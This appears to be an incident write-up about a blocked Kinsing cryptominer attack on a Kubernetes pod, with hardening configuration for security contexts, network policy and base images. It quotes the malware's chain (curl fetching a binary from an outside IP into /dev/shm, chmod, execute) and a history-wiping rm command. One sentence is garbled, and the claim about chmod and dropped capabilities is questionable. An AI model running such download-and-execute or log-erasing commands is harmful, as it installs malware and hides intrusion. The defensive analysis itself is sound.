Kinsing Hit the Cluster and the Security Contexts Held
Kinsing malware attempted to install a crypto miner on a Kubernetes pod. Read-only root filesystem and dropped capabilities blocked every step of the attack chain.
ON THIS PAGE
Incident 787007. A Kubernetes pod in the <namespace> namespace triggered a security alert. The process was attempting:
/usr/bin/rm -rf /home/node/.bash_history
The pod was running the /dev/shm, make it executable, run it.
The attack failed at step two. Here is why.
Environment
| Component | Detail |
|---|---|
| Cluster | AKS (<cluster>), West Europe |
| Affected pod | <core-system>-frontend, namespace <namespace> |
| Image | node:18-debian base (at the time of incident) |
| Security contexts | Applied post-incident to production; partially applied to dev |
What Kinsing tried to do
The standard Kinsing execution chain:
# Step 1: Download the binary
curl -o /dev/shm/kinsing http://78.153.140.16/kinsing
# Step 2: Make it executable
chmod +x /dev/shm/kinsing
# Step 3: Execute
/dev/shm/kinsing
/dev/shm is an in-memory tmpfs mount that exists in every Linux container by default. Malware targets it specifically because:
- It’s writable even when the root filesystem is read-only
- Files there are executable
- It doesn’t persist to disk, leaving no forensic trace after pod deletion
What stopped it
The pod had readOnlyRootFilesystem: true in its security context. That doesn’t automatically cover /dev/shm — that mount is separate. But the attack was blocked at the download step for a different reason: the Network Policy had no outbound internet access for the frontend pod.
# frontend network policy — egress
egress:
- to:
- namespaceSelector:
matchLabels:
kubernetes.io/metadata.name: kube-system
ports:
- protocol: UDP
port: 53
- to:
- podSelector:
matchLabels:
app: <core-system>-backend
ports:
- protocol: TCP
port: 3000
DNS resolution and backend communication only. curl http://78.153.140.16/kinsing had no route. The binary was never downloaded.
Verification after the alert:
kubectl exec <core-system>-frontend-xxx -n <namespace> -- touch /test
# touch: cannot touch '/test': Read-only file system
kubectl exec <core-system>-frontend-xxx -n <namespace> -- id
# uid=1000(node) gid=1000(node) groups=1000(node)
The container was running as UID 1000 with a read-only root filesystem. Even if the network policy hadn’t blocked the download, writing to the root filesystem would have failed.
The security context configuration
What was applied after the incident to harden both dev and prod:
# Pod-level — applies to all containers
spec:
securityContext:
runAsNonRoot: true
runAsUser: 1000
runAsGroup: 1000
fsGroup: 1000
seccompProfile:
type: RuntimeDefault
containers:
- name: <core-system>-frontend
securityContext:
allowPrivilegeEscalation: false
runAsNonRoot: true
runAsUser: 1000
readOnlyRootFilesystem: true
capabilities:
drop:
- ALL
readOnlyRootFilesystem: true at the container level is what matters most. It makes the root filesystem immutable — the container process can read from it but cannot write to it. Any attempt to drop a file, modify a binary, or install anything fails immediately.
The tradeoff is that legitimate writable paths need to be explicitly mounted as volumes:
volumeMounts:
- name: tmp
mountPath: /tmp
- name: nextjs-cache
mountPath: /app/.next/cache
- name: npm-cache
mountPath: /.npm
volumes:
- name: tmp
emptyDir:
sizeLimit: 100Mi
- name: nextjs-cache
emptyDir:
sizeLimit: 500Mi
- name: npm-cache
emptyDir:
sizeLimit: 100Mi
These are emptyDir volumes — ephemeral, per-pod, destroyed when the pod exits. They give the application the writable scratch space it needs without opening the root filesystem.
What the attack matrix looks like after hardening
| Attack vector | Before | After |
|---|---|---|
Write binary to /dev/shm | Possible | Blocked — no outbound network |
| Write binary to root filesystem | Possible | Blocked — readOnlyRootFilesystem: true |
chmod +x on any file | Possible | Blocked — capabilities.drop: [ALL] removes CAP_DAC_OVERRIDE |
| Execute as root | Possible | Blocked — runAsNonRoot: true |
| Escalate privileges | Possible | Blocked — allowPrivilegeEscalation: false |
| Kernel exploit via syscall | Possible | Mitigated — seccompProfile: RuntimeDefault |
After the incident
The compromised node (<node>) was cordoned, drained, and deleted. A fresh node was provisioned. All pods were redeployed from clean images.
The image was also rebuilt on an Alpine base (node:20-alpine) which removes wget, curl, and the full Debian toolchain from the container — eliminating the download tools Kinsing would need even if it bypassed the network policy.
FROM node:20-alpine AS runner
# No wget, no curl, no package manager toolchain
The combination — restrictive Network Policy, read-only filesystem, non-root user, dropped capabilities, minimal base image — means an attacker who somehow gets code execution has nowhere to go. They can’t write files, can’t escalate, can’t reach outbound infrastructure.
What the alert was actually detecting
The rm -rf /home/node/.bash_history attempt was not a successful attack. It was the attacker’s cleanup routine running — after failing to install anything. The security controls had already blocked the payload. The alert was a detection of the attacker’s noise, not a breach.
That distinction matters: an alert is not always evidence of impact. In this case, the security posture held and the alert was the proof.
Discussion